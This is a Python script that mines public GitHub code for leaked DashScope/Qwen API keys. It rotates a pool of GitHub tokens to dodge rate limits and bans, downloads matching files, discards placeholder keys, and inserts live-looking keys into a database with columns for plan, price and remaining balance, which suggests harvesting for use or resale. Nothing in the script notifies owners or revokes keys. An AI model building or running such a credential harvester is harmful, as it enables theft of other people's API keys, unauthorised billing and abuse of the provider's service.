keyhunter-parser/gh_expanded_search.py

#!/usr/bin/env python3
"""GitHub expanded DashScope search — queries not covered by eternal parsers.
Random token per request, rotate on 401/403/429, max 5 pages per query.
Extracts sk-[0-9a-f]{32}, dedupes, inserts into keys.db prov='gh_expanded' status='NEW'.
"""
import os, re, sys, time, hashlib, sqlite3, random, requests
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock

BASE = os.path.dirname(os.path.abspath(__file__))
DB_PATH = os.path.join(BASE, "data", "keys.db")
TOK_PATH = os.path.join(BASE, "gh_tokens.txt")

RE_KEY = re.compile(r'sk-[0-9a-f]{32}')
RE_PLACEHOLDER = re.compile(
    r'sk-(xxx|your|example|\*+|None|placeholder|0{8,}|f{8,})', re.IGNORECASE)

QUERIES = [
    '"sk-" "dashscope" "qwen" language:python',
    '"sk-" "dashscope" extension:json',
    '"sk-" "dashscope" extension:properties',
    '"sk-" "dashscope" extension:toml',
    '"sk-" "dashscope" extension:ts',
    '"sk-" "dashscope" extension:env',
    '"sk-" "qwen" "dashscope" extension:yml',
    'sk- dashscope filename:.env.example',
]

MAX_PAGES = 5
HDRS_BASE = {"Accept": "application/vnd.github.v3+json", "User-Agent": "keyhunter/expanded"}

tokens = []
dead_tokens = set()
tok_lock = Lock()
db_lock = Lock()


def rand_token():
    with tok_lock:
        alive = [t for t in tokens if t not in dead_tokens]
        if not alive:
            dead_tokens.clear()
            alive = tokens[:]
        return random.choice(alive)


def kill_token(t):
    with tok_lock:
        dead_tokens.add(t)


def gh_get(url, params, tries=6):
    """GET with random token, rotate on 401/403/429. Returns Response or None."""
    for _ in range(tries):
        tok = rand_token()
        h = dict(HDRS_BASE)
        h["Authorization"] = f"token {tok}"
        try:
            r = requests.get(url, headers=h, params=params, timeout=20)
        except Exception:
            continue
        if r.status_code in (401, 403, 429):
            kill_token(tok)
            time.sleep(0.3)
            continue
        return r
    return None

def fetch_raw(repo, path):
    # public raw content — no token needed; avoids killing tokens on private-repo 403s
    url = f"https://raw.githubusercontent.com/{repo}/HEAD/{path}"
    for _ in range(2):
        try:
            r = requests.get(url, headers={"User-Agent": "keyhunter/expanded"}, timeout=20)
            if r.status_code == 200:
                return repo, path, r.text
        except Exception:
            pass
    return None

def search_page(query, page):
    r = gh_get("https://api.github.com/search/code",
               {"q": query, "per_page": 100, "page": page})
    if r is None or r.status_code != 200:
        return set()
    data = r.json()
    return {(i["repository"]["full_name"], i["path"]) for i in data.get("items", [])}


def extract_keys(text):
    out = set()
    for m in RE_KEY.finditer(text):
        k = m.group(0)
        if RE_PLACEHOLDER.search(k):
            continue
        out.add(k)
    return out


def process_query(query, db, cur, seen, stats):
    print(f"\n[QUERY] {query}", flush=True)
    files = set()
    for page in range(1, MAX_PAGES + 1):
        got = search_page(query, page)
        files |= got
        print(f"  page {page}: {len(got)} files (cum {len(files)})", flush=True)
        if len(got) < 100:
            break
        time.sleep(0.4)

    files = [(r, p) for (r, p) in files]
    new_keys = []
    with ThreadPoolExecutor(max_workers=3) as pool:
        futs = {pool.submit(fetch_raw, r, p): (r, p) for r, p in files}
        for f in as_completed(futs):
            res = f.result()
            if res is None:
                continue
            repo, path, content = res
            for k in extract_keys(content):
                with db_lock:
                    if k in seen:
                        continue
                    seen.add(k)
                    h = hashlib.sha256(k.encode()).hexdigest()
                    cur.execute("SELECT 1 FROM keys WHERE hash=?", (h,))
                    if cur.fetchone():
                        continue
                    now = time.strftime("%Y-%m-%dT%H:%M:%S", time.gmtime())
                    cur.execute(
                        "INSERT INTO keys (hash,val,prov,status,plan,price,remaining,found,repo,first_seen,last_seen)"
                        " VALUES (?,?,?,?,?,?,?,?,?,?,?)",
                        (h, k, 'gh_expanded', 'NEW', 'standard', '', '',
                         now, f"github:{repo}/{path}", now, now))
                    db.commit()
                    new_keys.append((k, repo, path))
    for k, r, p in new_keys:
        print(f"  [+] NEW {k} | {r}/{p}", flush=True)
    stats['files'] += len(files)
    stats['new'] += len(new_keys)
    print(f"  => files {len(files)}, new keys {len(new_keys)}", flush=True)


def main():
    with open(TOK_PATH) as f:
        tokens.extend(l.strip() for l in f if l.strip() and not l.startswith("#"))
    print(f"tokens: {len(tokens)}")
    if not tokens:
        return 1

    db = sqlite3.connect(DB_PATH, check_same_thread=False)
    cur = db.cursor()
    seen = set(m[0] for m in cur.execute(
        "SELECT val FROM keys WHERE val LIKE 'sk-%'").fetchall())
    print(f"existing sk- vals loaded for dedupe: {len(seen)}")

    stats = {'files': 0, 'new': 0}
    for q in QUERIES:
        try:
            process_query(q, db, cur, seen, stats)
        except Exception as e:
            print(f"  !! query failed: {e}", flush=True)

    db.close()
    print(f"\nDONE. files fetched: {stats['files']}, new keys inserted: {stats['new']}")
    return 0


if __name__ == "__main__":
    sys.exit(main())